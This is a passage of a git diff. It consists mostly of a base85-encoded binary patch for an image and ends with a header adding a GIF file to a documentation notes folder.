zR$-x8fcO*d#t}ir2XW-&8*vJy=O?udWV>ov{H4YKz7ni}Hz8*TH^cInm~;|Agt=}t
zVbI&THeNW7ou-m{1h*(`<C@9*WfK%RisNg)WVRWYPCy{ksYflp=YjyTxumXQeLREG
zBqdi)8$tTADi@B$Ljq*L#+c=kIw24Y&v#RT=oiZhNBikhQF_)o*D4&KBr_d?E-E39
z?oAX@%j2S0IWiwS`0yE-c3XW-jHqLFs{oWKcFDBDQjPj%KpFR}CMtS}gc|2Cgy2?c
zVAF)z1+!x*3kt+%1Mq2P?a(4yf+F&w0F4|UeL`?NQiZ2I4gZf~6c{9M5zv~q{<oOY
z{?*C`_|=3vBriAqAylm-Sb9UCNRvPBE?=f0Py7R}@Q0WDAG5nZ!Pz@pw0g#B=FDv5
z%B=6jc*m3Bwl}?oH=UXnt%?_|q9=`v8@2c|N)bCOuN66`1u3fun&CeBf&mG&9trji
z356yJ#VryF4HB$68moq;R7F!NqbZfpSa}Rq7K4?>kc(o-1Tdsr7&J2)MTJI@p^+qL
zBod84U=Rp$B$65hKr#sjDTa>>BSL|Zq{7J2kSf!X-k>MdW+J=GLS}f8%!HlnAt#vy
z7x^P@3M)SBV?j#m%TzWZ)V87*o`})fOVZm*F*wLDI^vn1DX}`K;#@S?+%-8o?r=W8
z%ju~L#3fGy-sks(Jnmm}F;{T3(y_LG{LtC+{_|LULiU}YO6|~kt?&<;5v`h09k-*q
zG-G<TUJhu-f4r0MQ72(YCvoU*;*f6AkY3V|e$tR(@{m!=#|N(lEmC@HU$r}>et4c*
zACz7Zolz2(mY0y6nv$HDmK2+n6j_iI@Fvl_G{L<*!MQU2X;qwkO`J{bORM@=i}x|6
zjnVf%MCrFgYPUvcwnp4+3%}7Gaicx*R!^MHK$5{|rpZ+Pqs21Et@j=~%`Xny{f;{W
zPPzh5x`R%-gHL)wPI|+R`y!79Vh#u64n8LC4JH2?&fFS#JwH@7KUVu~tl`Vphq1Bt
z!SVji@y|^YU&|*}^FD8-efpU+w39r%`)Xt_V{AWrazFpee$n*a+pl{ybGtpOJ7Yg~
zX10FL5w{nKo2$gNt*wP$TXTDWWWNo>{K3zq{hjsQ-R(b{<ahV>_x29<4-WSakAMIQ
z3qWK1Zx<S1L;G7B{BQr+-x{gU{<-njj^B^Kasx#%)8jM#y;oZ6+aJFF(kqQF`Lh_s
zbJLjS&t7SEva?tJ)+_DR>#qj%N+;1q0j9Ld)$ZI|IqE+ooPb{GJH=)*Q#$-WuXM~?
z(i>xW<K<Sv={NgyzfV;=ylIN~;vzKjUj4`XrDE52-x9pe?Z^abg;iPu^Vo0o*WyMy
zP3RPa1l-GqdlUA}22Y+|U9L_4BkaO}r08l?{_S60B`GU%zIQ1ipA6{kHBS`&!QpvC
zF=snf^`viyj9Iw-TSuR=VtQ(k!qPyStUv3_k6&voOxj(MT2lKP=$f+^9|kl}4oVh3
z=8(TL7Chb?q)rLia+>qp{kh7|{q|h={OrLZa#p#TjNZU*z%e`1$CS5Qjhob3w8Nj$
z``R4M1<QiDKxUVfxgcC1&wMavg4KKoPkzCCs6h3~e3)=2&-ZZAF{|$p5=#Z&Bc=CN
zzDMB^ybIBaw2v2JRJjTlVl~887hY;A^Df5e=ssSI*S9QOOfYg;T}(6y<XuX7nDBTh
z*($$qDaE#Wb?KGE|Npe+J^Fs;Pb<^}$uB4;yLyc|Di!L>sxLok!mDXCNGIE&O!7NP
z&O=R;3)I@ePKxFZ#*n9+8m+%d-VZ2Is8Da;f3HCqA^Sa5B&3DGzJW&YCMa8t^`?gW
zZSBMIN(^?aQo*<lcWJbbVocyf>+)Tme&TbcZQE^$#~SRnLGlkY=wwzEr6cKM==&=_
zDYINfuy1s?Me>W=zWk^p+OqR>@V3F|y*}2Sy^npLhs@Juw=)%-mHi7N#FXzKg$K{*
zW0=!iwZ79=42ryZ_(@1^k^auXby%4>DR;6}h4$>1xQY;ZzlZZ=i^xmHwc=2C(;;_?
zs&TbkHB4)u@#rL0NtB=4DO_Z0Lri-%+UA!t$b6Zjo-4)n`@7|ow!r5LXI}@^R&BZM
z>hTNoSIf+qZ=6T1e0S5XZy{NI5-#q~<gK+F`smX@Bb}si?IuLa?vUO$>Gq*|yX)0D
zk(q}dWaPxx%V3x%s>$^b6O0fK8@Z8$yr|HXNO5K&8PMx49?cbC#jHTChi@e<9}Yv0
zDO`k0n?RIYDr8K+B=@XZ*{l<z^>*;C2=^4ur5Nn9Ss$cuT!gHNW2=M{8~V(@;QrPT
zcL1++HcRb6EBJjTK6#ac)&TEI;j<FyJH#I9sOrnABOWPLN^pcE2arFt!amrsWo<g}
zA<>$EDb#+qMXKeT8_ouDsmik!tox!aNJOo-%=u8JCS5KuX_0&wjhLj*?LZZ%z<!E=
znutCmFQerZ2qK{RBww=17INp>dF1$kig2wk%Dyy*IisZW4`Uzbt@0e&TNC=-D{SN<
z((){aC<7T~UeulJpUC3AB(icJa-E-<CRbJm_^oHF=tF(5Ka)u0Lt{u>^<iu+L#-S`
zEs;*Ot;mVYu8AqO{zv{fOda$JxcV$|owZDp$!SaR4<QjQ;Xkn}XPPS4?<P_hH20e<
zB(>p6lKZ0v6q4FSEn9LQM;lvRVOl404lYrK3!$=^UY{(8La-R-hkh*YY<)XC<N~a^
z6`0K@EM--#MNIW+az3PXsuw%>+2%syrFfF?S5|`q*c3>^hr0M9>tfA<=dec(O8jt0
zltY7`E8}<iQG9-x2kAAY?^oB@+9lyCiW(Pd^&uOiS7P-VOjwZajG|rK)E@2TuA@vU
zM3+QNQV6x>!iMz^h{Naj;qR}blY)!_Tx05&YzwA>gJf6cK7MA{rBuNL>OYpC_VE`;
zydSaj$I~oW2Ase}Zqd#JCEihP_<lk1ev%fMqhS<dN#SjavqF<Y7tzUV-Pd4MZW}dg
zLmvm1m?To)Yg~_zv`KB`f(6<5Ueh4DS}47d6@*l5yCGWbnzd#`r{ha0s-^VZa(J=@
z=3~m(BjuMK)j8?+KFUelDv>jHjYyW;HC4DMp(<yLRg_v8Cf~DbZDf?%#MEz3zF2{v
zo=72CErrYUhBA{M4s6O@Q&#YD8mfp~Rl*iHmO0Xl2MTI-sl%otLe&%NF)x37JqoOh
z^_5`ZXlf%^@JHwVpt0nzdn>hpN2QTWu<S@E^9~6I@C@Ofj(IV<D7YBO!%A=vW2D=z
z<0S2Tw6ppqheuWHn6ya?i7H5uZ}!XkL)JtRN7ZL%DRbCh=kT^Z69kM8Vv9T_&!tDX
zd=U&3j%XBtM3IQBcnX$?jIrd>p^WK6wuFOUqy5`o2nH~Q8u|GaCRGcL3FWXf3Q70Z
z=F;Vea5+vliDKuwvceQF=|vQ7r5wz86TY~Gn1w=1@!py{RZ{t$1}XIZv@-a7+0Z%o
zL|N5yi|0y@hGQaKXMOw6Q!h&qn>CzEzcWu5cl}{9Y+%bF((D@SGj5%_ydKelt(oOk
zAY->ei;vEf%k8X9)db2-I5fX}sSx~}I!dprejw3O<i^&MKUM~^;H%iG0{829GdDJ>
zBjO_-_`HL1IF!OiV(O2iFA!dpyFEGqY3*lSdX8_8!h4CAZ0rN)0vH${(#qC$ZaM`s
zQE@L`7#f`PTou9KG~3>F@F;Mqrb?&s_h*bbFg@r?8)aBwYloVySUf+a2r?8%R(;i)
z!Fv{<+K{vSa0DsRWU?(?d06rFhjOzGW-a}r6sR54#{M<SL37Iqt(xR76}pYEjCCQs
zR>1wu9#?0;X-c&&5hPd*BI&oYwZAr$Dii~DYx&?qjEqWiqcm${Rc&LbCPLUyz3%!A
zpjM=#(xX+!NCSyEbScwvW>*V>Nym?+tJaU=X}(8T)!8mO$1Cq68(OH~)@s`dWMg@6
zvXHL6ljg0!P7E%@nV6P*p6N;U_N*ncg|43%yAn8GM?}^8G5%b7`DU-~0jb2OQ=ZGm
zosKIcC}G7GlFKF;vhAipJkx)iBh1N*9pG9xxP~Sw-2DDI4x@*?kxWCji@$NY|DwJ^
zj5p}1c|6uW5Uw=@^Nl7CbisBxTQtp?o{htNOmrggHg4CfD*chns&Fw7*%fnNmLy-Z
z*}F#s(r224>o|1CnCvqLjq3{7!DRzoJ%0ne7k3FSj=0I)W?vk<zO$5xX0{^uMU(%m
zAv~ZZYXDgv(*^7!q1W%aHt!NvK;-$kSC5*>XEOsgGOrRH$nAs4BlpC&9mu~5Q`|Af
z?#u={)Cy}rt<Iyx9Uh8}Z(_-<56DR^sM8)=#qUxOR>;P3$-}!vue=QMauPeq3;tS4
ze&r7KrG7}{SfF(hIT7TWrGSj6rgZ-$4hDrmO`RVfgxE@itmA^5P~<K=Shs>8&k0eE
zZENeKuqK}Ht^!dCdNGEUaC$Z`W)UW9XoQwZ#Aj9P;DG^COa$EJqG?;iOl`!pggU(o
zjc!c{BRCSiL^+fd$y^q0<R}g`!#HKaQLYzpG5!%+q-lh^+rhX>O46qw)J7Xk*AU4>
zroZp7HCpn*CJOgrg`CWQhO~$N9~mCtCc=W$K*pfjzwCy9pah3P0b3Ca3Ipn{1r@E%
zo<Scn(gW=6f}+!s2``A<oujim01*RrK%f|t{p|z>y_2N^0V<+UtJL%EKtRm^gcKDB
zc<N&=#3~hVB|^YjQ-J=Hq^-gM3m-UEN%%hbK7`M+cWR}-dinSY1lnKhx>9ZfxQUi)
z;+#!PpmcgbQ8vqh&9U;RX8QQu^071wGBr6mGP|?Y)zO%i3aCl23)c#kj>89!p|^5C
zk5a)7E#u24G5tq9V=F+F2rQda^b88Y$J#LbmYa|;um^`B6nY0J9qk?*jRWe|7!hzZ
zT0U`k<`KZ}(+AX<5Blm;Od#<}kaoaH*^{N`TAT<p1m)C1=^R#)EFfU*jzn!hYJ0tO
z>`-xJ`ugW>;02D9G=<9nS{4}M8yJ-eSbffSnthvzLH902J-O>^YlDDj0d69sO&U<)
zNN)c6R1VF7Msga*0UA^oJKQ-cMK^s7{3tbJ@=zH99c}Dsiqp=vW4LNx@k|^pdI_GH
z8bUAa*sy%;NC%XP+yN6LP#6dPv03lCkcmYi9gj)l^zqcnFW7%;@4SPWZ1*>hqz4Ec
zLT^%3K#C%uV5CS_P<m0SbOfZ=5C|pGi&#)YC-fpxYyklwpn{4BiUyD>Al*>i$M+R~
zXLk0S-I+aSc4p_tT*D+JVTM1R=eqCv`?)UY=||qb%)gq3KB8Gt`)p*ib2#es(qMV%
z7!a}9+uPX=J4(+Frq|9HADQ`97kdh%biMWJX#g1g|KlL&-}P4jJG{XUzWZ~RQy~cQ
z4L+uQnux=Xk&ettra$nz4NET*Mkgo7vQHBs6x+H|h0f1?YEhijzm187HVzMny)M+%
z+;Tnyv|-U{`AOUzxhVd&)YA3r<jt(|p$vltLQ2cv%us{y^He*AbqR|HZiDrlHV=>3
zmitdTR)zoYy!7PU=0>L{r>}WiY}VfKQ}3#VJ9N1fOOntE=X<hT%pX>=Uz@s}x*$=t
zT#_y>qX7SDd&eCW_dNfJqi8_l^?a7XD~9X*?-)|lYkqW<94^0p|AI>W&REtNzp+X)
z-AH<>813!LQ>2is17K&VBWksK%9nSKr3ngzSNqlqhJ;*Dbio{lg-X0kUADMeKmxn5
z;@4|A#d**3xnZDCk(gx&GhDFqj$tyI<t&85l6>jnhXqqAnh8mVgNX)Ma)w%&xH(`i
z7@65K3PhnDonI%pjN>(2$}Yx;^+{rc35hXZtQ8Ar?@c8RD&SMKSz@}=oFIqtu%>#V
ziL8>?xDHnF0CG_>=bI1cY|{*EyKsi_cs#?IL}kY)OO?>O;d+r&U3d!P0X;rzA1lXP
z4RxhKSQ>mej$O4~*U{WKWYdL^SG8%C;;ZEGCN^zEigZC<z1*xQ7negSarPTIRFZ((
z$}GNnVT-3cxBNCw#a?EsDo<q!g@Ufi8}>j~-<U<BYtlE%xoeXUC%Nlld3w#QE(lZi
zX(D|-2%WDKai1m%``CU^o6~-uCaV58K(|j59etub`R|~K{`K5NSF&pDjp2!fwYSDP
zGVAY5ExgwUEnTbD-`fT+tPj~I$ZULY&h_3Hb}Oyg81ZUa*!bxCLgvS(fFbW6qao8(
zKM0>Aek}a>f`!S_sBzprG=K)Hri~}}8qpo_lB&}K8=QU$W%Sc!0dh5`tCIxu9urj#
z<OvyJk-^lAcDBM?pJNB4-wnj^vp+~ZcHpk>3K`O<gV|b01Cbvsl)z3u{$9<!t33PS
z=cQAtPfq^ans}sh|I|P)d;jA%y+YAXR?^<q(X)e(J&6E@82>fwPy@Wlny%?DZ~7Y-
z`jsgKfdPlQ6&>}rHvy>n-}VIDfdRw%+nxZb2(U2VcKrt|0*VsXdV7FLe|l;<!PgI%
zj{pp+0GJb)wF3kG?Y*CX1uPYM15nRX3WfG83%GM?3&II!5W<cn!cciqy0e^)g$Pm@
z4nFYnXTL*AX<+LjFw1wZ`F4f$9wu@5=Td+Ft@F!`egGB=48|`Oe+4)rfHne%B*47N
zO~3$!1UMJqUnO<qxC<(?70CddMDWcx?RIORs|Vni=;#j2W?H?WQ0&lPosen~!)P@K
zXtwwoA5;*)9cZ-epUV#b!;SIs1mK212M2_JX1R-~5{Ulp;0A4b52_rQt^}b6LE!vn
zBA<RQcM{sBZ2)(FBvfUiuXdoP2SAwsa0wWf01#93{pSF<R9e*mcpL;Qht&}f)pGUr
z@%2W7$0-#5&^UT}_o2RCN)QHc`QfQ;0DWpF_nbq6dGw;27IxaUb`cO|z*~N_VL$Ee
z0W*G0X>8<^wVmy)(~da6=2BA9ffKd+-HSiRTIvEcer{6%j5e}$D$`u_YEIWpH85B!
z8lo0)?c~vSy_7qrAtyz^00spxQ+esxYEbaoFRQed6nyG!a<2c+?HK@}>gc8Phsn_z
z6X=C7zz7BaqW}`>a%>|Q<PLZufQ+s5_L@gkCi(igdIv#4^gvDkB<aJW<~5vTG@NGr
zb07^^v4GJ&Ki7JC5;Yz+HCgK^0ONeqqOTrcaAQU+08ar>74206Kwb4`oq0S7%*g08
z&U-+F<^Em%@_+Mt0B<^<6ZXfObe+k0BB(#!gr~Dl7smc>YE<|da{zi4Zuz^ZvDLJ;
z&Z*~)^3{9C`Y|Q1@1J(}?*mRBU))uTIc#?rQ)X0XtS9QCKUn&<%u@SY6(#V>%S!vS
z0>hEU`N3MNrW*@kT;8UQo)r%RJvn@AORmkbHHKTbUwWdvxxuu>>1)y!>#}!TI?&7U
zF`fq&wDaMrb7g)iCdA-Yd4?#lL@%o$X3nvocRX=~k+aT_wP-&1f_VZe?~TFvFV0i3
zOmwc5--66X=HHea7vn7(=;+Cc`;?m$AM!R9R*7h1W`<c8WJ#Zpw%U6sy8LOyxJ+b(
z4ykeAr0YFX_s(`1A{Wc03JPe@$baZQ9p{7G(MuoA#M_yTX$OWwEg>_PJRu5$6!uu<
z{4Y@hJd;$cO3TJu4%`}BHy*8k9*qB<p*?u?f>u5_NnAa!0DH)MU0+DxU<NE%9)}l=
zTQZq6fHi$^G>_Nbm9kAY$iXHY38ogbW$P}ri5c#U78L~<9v+O7HKY?Rxfz}gyPIS}
zYIjIrr8rX{zFnbhY!;45Ma~k9R<|tN#z{H%!t1le?+HRj-rbEN3>N1fWjbt?AEQb^
z7lrG4po?>?km!;$_j2yiq)>hCve=|KE>h$z0#|u3iI=Nl&#wi^Rp~iU1f$<4U60hX
zxMg(G?~|_5^)?(B@;>Qmuy7ONyidB0rXKo_ldk^}Z`vur5#(iR(~~kp<-+?R+;SWZ
z?TAAMR}@4Kcla7|rcf~uF^T4g=c0If)-zy>gRzV-*=c(`s?8Ra%&n-kxH3tnMUCNU
zXYo($Q($q@<q__-MTooi+b8uY*=ux(+iS6`9!z_;)Cntlc8U?{fC05nwm;iRW=O?k
zwypE%vg!36O=NwEM#l;5q4FA%yLh;YYMw%bg!%Ww7$`bvC%~c{er=!rah~<BAOBD7
z41eDI&wdWP;a|M;&tCoeBfxiszTZ-OE-zoLD4i)U6()c1iky(K8lU=6w7e{*q%5nT
z3^Q7Wi9?o=MV5i-D3U=Afslp6rC?BDD1-+JVTXd5Az(%b7y$vnARx%!0^(gTFcblX
zGJ&D25GWS}Dgc3s1KkZ!hztyJ6b_L`KouBZip=n1YzQSTh7)Ke6<+33g6yZoxB(>L
ztc;Mpf|%JU2}g~CUV7p|CWoVK6cZg!WV)Ta>7|}`6?4x|>+Ut3yg-AzpmTSEOl}2R
z<^(%rgt(@Kc&CN=r-cWlM1&_r#o(jjVzCK093eI?1)q=+fBi;M+HFEcenw8w%{vu&
z_p9@Z>WfK@r4>!2iihPDjn$;;I#PKfsl0_$`M9k7X&LExc}Y)Y$v|Dja8o1oam#eu
zvu~Zx7hiOK@9tXad9gz2S?TRr?FCG_3!ruZ;{nzg|6Kb$3x5h1{(7+S`qjeQq45u2
zKYyJ0I66Q4`TNk9<@eN;_te!v>e}EKp!N6T8}BE641J{yO>P3nF|e}vKiA0g_Wxcp
zz;^K;wF4}w{?@12ozHVS)cKw9g`Ka9JComcr<ZnTmUrh?cE7FeF0Ac--`HKH?QLxB
z0ZR>lpad3AzzXS)fTw^(3BdVhu*OF(@0SVVuk$YrcaVOU2`Bnxa^OG+BSoFxWx}Ug
zbdmQ>>KuQU2_I9#aY*?W0~TfTv_tQKo5|gi;q-QtcX`G)&lc*Z;5mxklvtXn-=*ZZ
znc*xN2r?~=6~lQ#S*iTJ?@0z_t`kvAEf1?c)cd`DHEA^@YyLR&(W1<Up`#bcF{LP!
zXUL)P4ij!}AO1BN=Qj7Mb0v>gmR)LYwfRity;+^Ulc{&|VT7u`TdSi?-GK=wSj~X7
z)wLX^5*YE^&0w}y9`3!VT1oFXtm62J-Scvi`QB*8CrDP4?o3^1(ERYgy|sCd-E(WF
zgjX=n@D|~cZua<4MBOF*i)H8@e?J0Ttj1<eP^+r@0YrFFFGt|wB+JEIS#O#gW3;B9
zi#}F<)DJJh(JI03)ZuL+6z3agrpISVw}J>-VtVmj+;M(MIMEgVri;g7J{>{eQ<}ag
zF0++s7OIsZN)UIL_brGy<lp@6VAm$iDcW_iNjF|coFt|{+3yDtKB~@>Z<@a}pd0Tm
ztt0NHa>d0#1YmLx8s$F-ahCR^(eY=xD|L=DW7lR&BNNWJn?}XBWg_@3z!!+|9u8)D
z9Otm6TDh1fdRd3AVMVk#PID+o7T$I+dns3RLx1ivj@LzB>XtJ-<<{O=fii1X(nIsC
z%7z=}6;+C3w~rV+TH(#Ad6vmp2_!PUz0YkQ$@Z$d@o;0lX5gNZclBUY&_d<#rH54>
zqZ%7B?qd>4vaXZRAX%5$sYV~C1xikVQ1rX~FvjL0tG3{N7{j+M7(PvA-w$K>b%2b1
zg)xr&t1!lY#G?LepWgkiw@)V)X%p!>vYTJCEqpd7Z@N}*PUQtJZcY;uWVdFDa(%XD
z%Sx-a=2EvWB6v^l<X=DSu|3hnoPZHcV7=a-8YE>QjblE&{dhoA_30g>UXfWwQytds
z!iCrBPq!PoPy-cqy<+b3)a$2v3hjDOF0}rWAGfKo=cAr3T|7zK>mPSecMHzc1+r|4
z!n>}gf2u94*u-tWI(uDkL5$r)`4X)Qs%~8tgSe=SLnR(~+R%1XsF{pExoFbX*ml+X
z_eQLn4nij_0$?Bu|0xVa>AAdWtDJiM(KF?;T7@zO8AmQe9WwWkvbZE=X)a}DB4uMF
z>8LB_rY+=sMj$|qCsdUyRD~-{nKM#}Jz9wkdz>Za7;}sQQ`Aw$2x*4kL&&QK5w5~;
zJASw^8m`L;*XDqqVTY@*z~xY|LyRyH1QZQ}puk`R2n6hxKnH+^qF(}bRll~DU_d~7
z5fld07(roh7#sluQjLsAI4c7J&43hQVmiXie4LG4gPlW{gUf)E`y3aK37X%WSJ;MM
z?6S}y7f~5^NhM#I(?N=QVX7Cf8rE_8PDvNMlC1+W?8CBMBQw0BQvITm0>W{D5xC%p
zn9xXUSR^(gGCDFUIx0FQ8XJql;p1@ecwAgUObj6=DjDb_!UpBWT)m6)EQ)g>;T<aQ
zw$*scx&(_xf@MpxRZFT}OPWJVhD%G9M{BlEYi_`!+Yznz6I+Y2n@aCJtSGInX)LZM
z-)iVffABW(!EkKjXWYXvT=OLE(Om4Kxx^=P8BZr~J^Ml=kCc($HMjRrIv#y|Q9a*t
zf0J@!t2cY6H*2Rad*@Z|_8a2%d(zf${nn>vTc10&K6h<?>e>82p}p^=z3Kh&x_9Fh
zKpyt4zoY;@`L}?lzXe3u|I$+bo6kezozx$lW3;X@8fBdJa)Q=BL3{g^Hu$&oO>PbY
z0u1mkjZAI**7O!|jQn4k*&LmtO)PHAEU(S4t}U;vuCA}HZ>;^rdeDAs{(?O=x3)Kd
zz9HbB9sJTSzxoAw{2@JlfgOLo{>l{WZUI~E-QD%w-PPUQ<=x$-eJ$_puI%lu0WQbz
zS2xi<1|o7sN@sr~_6q}P_DfYs*gqu18BO(D{X=E`l%a&b`aK|WSo-?zp@9~@-<A1-
zE-%jgs>~nN?%8YrFc6E2<<BWO)24UrfXe*q{;$mI-MFKSdLPQ1ukx8d+8$}Dwu|%q
zUQ%4qbanJ`RObqlAzFsoZV3~+l)NrCai1V$5ak)<KiGXk@p?dI%fYEvL{5K{z>4DR
zTaZrS6}PbC?t|6r4^u~Zl)PgbuG&1T3b$YU9QC4wbxJmHl73<_@o-eQE#LT4lBmTi
zl=8$0qjO-Okj>`Ky#3X^rqF^XG>h-X=aL&<HQTU@>FXytj(0I}h@BNQ`#!o5#kP6=
z9d{?|X8v<QCm$Ac1}g)vpN7i(lQwWHl5K{l40{+X6vaQzjl4z<6w^)+I9Go;K2cn^
zAa?A4<QQQtzif;kbVX{MAVEna;%RsL3j&Y&qYG27uMds+D}3(Gmy%?&x=D~`<N2C?
zPV`C<tL|Lc!7Q^yONfe@z9l5yPF4xV>Jy;yg58~JGUbR2;+eiPKbGIOA31E1lsdl_
z)4Lxz43j!|zJC)f*k>uWA2~EfmJy!@>_-lX3Ug9U=~sZrVTBKYfdoVjc`HbzqBjm#
zG*5Y?RMc<Gd6qtSum7Q{mFxPUnr9LQ9<}XT+Ld+v=LnVc@1iJP4Pk10G7sLG+W_Ii
zk>Z7iok8EK>Vfd#Q1jO*kHwZ}B^A{+^ACIH9xZJg{{Gl&(6gqTHg(doaEHJ*`)m@r
zRZi|%w2`yg6OC{uGp5ZgJ$KZWt}8)W@E>hMzYSmN`Vll=_f$CH)A#OHf(AW{L*<#|
zI*u%T0z%!=0V>sWEU%v8=I%8srJf#>Aa*iY-mpDS;!z^A6Xs1K()>Z490k)Peyn()
zPYx>IkI^JB-;gf!e3@TAeq8p^e8C3VqBqR%y}7rV`>|9v`jow*8mjTeu*9}C66tAc
zq|2QjVHj*3be?ykDA_n8X?PL(*;A%@ZGM)~KCyr{&eBlnc`QBM7|;7cPT)l2`TKRM
zmDgfFU!2H(>feqq&8s^`HL|eLM>#)6ZNIK}(mq+-C#Oh2xuBmvT6&_886b6gn>Tz}
zQsA=tv4m^&C#v1j!gL4vnbRUIADmd#mHc88tIPe_;`4S*oZ;A3Q^)<E><d*?EL0(L
z&KeyAQ}11;uw0bNYpO1Nmcf6O#lkpN9w!e!ykitK$!>PY7YjMDG!`q=XHQxg!rbGp
z;Ypy=U`JvhhEke=JsKVC$?0I6mx$kcF$YA0q^j*1O`g3@sd$Bvgf{0<Q4{r#4x?eZ
z^+`NS&RlQv+4Kt3!tu-m#ynBY@(<NV?nz&_HidKdOlqga$S1>jCLU5O>l6zHgguhE
z_;{wePOu$J{S+q3p=qXb5(!Q__I5(BN?iN2EI3_`|7$(cy*o~LC6r+6EJo_?kns14
z$~gG-pn#>Gfxba{#(bfWkX47_N=C*VY4{<AM7@h!8reYs&-t$C^;(at+-UBblo=(*
zsnAw($&4j(33`1Fj*>Z|Cb&P9`4J_UOw6Ck{5lfYIc)U~m9bR$#eQXesp?SAtDsh(
zGC#TW)U@8~FrYG@w%1px{-fu0)Yj^KI;JuVOurw;yGDc?m1%HO`r}pC{#52$uN9zQ
zmYqF88AuIVD->oT>FVge$-KQ*BxOX>x1hYa(YjVFmqIdh)qi_?WUWN`CFxu+<?X$#
zwNeaIxp9L2y8_<zGF_wc3%QhcC93Nr<CJpKQvJbl>-BQWm*wV7l)>t-^$L5Y3d<Mz
z@9S@`SGpNhSPxOm1K7j`A!q{Tvwpg1HkQ3}?1d88(c-bhS1DhYL^Z|?sE<^f)P}C^
z;a3<&7JP@mb#JfBul-qCd9`X%pCIi-!iTOkgBrp@zg<aSvy90rK-{LyGs>CdT~ron
zgzN3;yR%<F3S~RgL<{IUvicKb8O0h<emYm9!;w;MxO!-v^ck9btU;cbbOC3z-|IHp
z={a%14=G378L*?nTv)-e50oPw<dN_3Cz=+?)g~No2)ytZ#^#iTpwMqNR3)wEb;wcw
ztUI4$lYg+CF4qrkv`Jg)nt1kF0C557m~9b<<EstPI+!VcIVw?<jYvIfvLk|2*D9#f
z48==jIyn5)E1(lCk+YRac6c67YpV%~JDAw^B_D_@d!ReKr>!}F-dT<*VeeQG)+8rJ
z3jvgpmu=R3>Oq~5b}bcu!u8c*2G^SuBd$(C^-tMsg=1}@jVnq7g^z``G>RFte$Pky
zzy#|zO^!W~;;m4xY%=A>E0c|Ofod$2!*q;o4viEG!$R2CFbpre>ltf(9|>ol;cHK6
zm$3H33EQ_Zb|~YEKx#7@LaL3+%J_Q~_A`eqMcYEo#i0|=Bz_dd3n|QK$j4QF)ZP(h
zkes1%#pk0;R>P#8E;e${lU+}r<bL+}ES@9P277h}JD|2iFZo8^QaE`Gd^i!uOBq12
z(~Z4(EZf;oSA{nU33{r-dZN(Gc=1{vPyo~)=X!nsWN=e+`1Z_3)61oADo3;*JwSzo
z#Z-ZdGsO5~XEdBl#z4n?HTl1wwYU;lnKcs~&|`3&LuF({P~JHFHc=;h@2E)XCCRa7
z#$e?R@pH>>56kegT7<YK)gw8&9}POG6V!ZJ3H~!Tq{?Pucw0qKW?$`xo@{s%Ge*Bj
z*zQmhCe|~~hkr8rikYM?-B!9V7Hbfp$v>8;s%C2fGRV&3R5lL%0Ba5)w}KWtB*7oo
z<r5FIwnLY4swMi)1Q|p)%`OW!Pzyg^#=-<gg<f~O*>*()vWzo4GdemVGltTr43nZ!
z&#GuJ`3EI)v&X1+_6$0}yDcOIE1S<uXx~S?epSd}zVr>Fegt$Ji<s6PlUIvdS<TPB
zhmI+Mi8Kob7K3bNOJ8cGj}9OQ?>o(viK{I)u`!!r9QjZsOUu!F*QxYq$F0SiI;-bX
zvdK|DhsG_Qs7$pH_=yfI+|0WHKOaS$gnilr>HILc5>2pU*A_a4g>K1#TrsF32-bzn
zR7M7w8ACID8U5G&Zc{_Qa)wEsz(SN+;N46Gxo+*9;96}Kt|3bZHr&{OSxEvE+7zjG
zf^h?jy9kR~l*76Sqxwq`TNt==Iuqy&^Arp7qXgyxIz%{;UYm%R#oE_)LHufA=el7h
ziO^|tS4eG~5iQQ7IkW}_wh+EbR*F7OXTPO`k9W1gc1GJ^{FKgu5V{}_x{w`m{3l`m
zC?frN7Rcr2q3pC!uEba$T`NEMWdXE{<g{fu6|{GS8mHY130gvUOWG(Yfjnv>7Hg5+
zu7LeHFWNKri6^dW2W}B@PUb8%a&Qa=BAE`2CW3X#;uP&6lJ@lVZuF8^sLBafGa8{z
z`Fi8cYZXM$-VglB*=Rh>w^=uYmK%O;Fq$L5&aVv0r)%vO0%g%)o}{}*z$m>Q3XPDm
z<(5hSu_m|~qhjG+cwLs#TChGDJZ}j;O9p$8!{;W0%GcdYrffEdNsGqF+z(g#jwd}A
zw=Kh?;^d&iES6m6sCX>o7L{ongDS>a>!IVP$jlHD<9K?;xE$(^MU+`c#+V#RR0Rd4
zS;=9b$K{~uCBf5}Wc+l7i}GH4!jH^SBKSr>$08AV($_XFJ-(<o>joy+jm3GD$b38<
z%cdJcoK88V7twbhd&W4`aMp624n<A(gX=&?sMmxqL}|)1n=}PX4+RJ+-ze3N%4r5w
zai^Q+qKeZY&%{}ZsgUPH+=y>Td@cBecJ!(}+*gmIl1T5ShmS<$8gSp-P_pcRWvg4*
zKG)4qaF3^Nx}>}8XGKIz)FKbtr}rg*oR$z1a>ygK9;?1^3wy*TDzg^IP0u~sWyxNk
z4E6HIt#RSox!iZAy1hcW_$AypP6R<&nv=A~kjIF}Xk@rLHh@%mtep&(zy_2C-Wsn(
z9wBCSOQcuL9Dlwihbl@B`ig<um7(_RJvDr7t2gbd<v@;9#3&VcL@x5g4QP{c-dxYU
zMU}|4D~L(q2upjP)KJtk$zhF_nWbl;$m60zg{rbZOfgXMG)gpq-k3~8@w%x1?KmtD
zR%fi9m0xK$qK+q@eT2wNxMQei_00@dedUTG86q5y(`3!(;f1EiMXm|^@K{3&u@Oc@
zBFC1e*P#s7!w|+WX!;aVDm~u}3#}lA%^BY=ZAQ%WBgI+3CUg+}39DM@Wf(Hw)T7u^
zl~IO-qx5rtXvcr5FemyFF3nucuyQRvo;E8U^M%ax34@A(TCCFf1zBg#nlT4bm_FA=
z?3s~JzL2s{z9>AwE}XY4gkrZwhq{Ni%OH4sI&M#I!u+-0?ke6+<kqF6bzB(oTCg=r
zoSS(A%S^Q|9mg=2>IcSH`^&4MY)nYAgJqG{{6LBNDhuj0Cv##e=c*j44jEEq5Bn%w
z+N57u$r~|dj~!jFT&yi4TbEADWeo?C{BGObowK8tw`cocH>}EXlVbN3DLT1T1<$A+
z@nD-TXBp0^9_O_*buIhu5%NW~dULL7F08sJ$1cg&<Ev^lsH6rqW)~A!lXLts18a4_
z#hRJU+Ee+qZT(C;*4&h0mdbt@ht3H;zT6e@I`-b$dEdIg{933y^JML1kwV6LX#<vV
z4^F9X+`o=Q_Bf3koLz*2-2>c&FFN_VxcHb})p5T<ck;il|Np-J|NHv?e|P==4{Hea
AU;qFB

literal 0
HcmV?d00001

diff --git a/docs/notes/pics/_u66FF_u6362_u7A7A_u683C.gif b/docs/notes/pics/_u66FF_u6362_u7A7A_u683C.gif
new file mode 100644
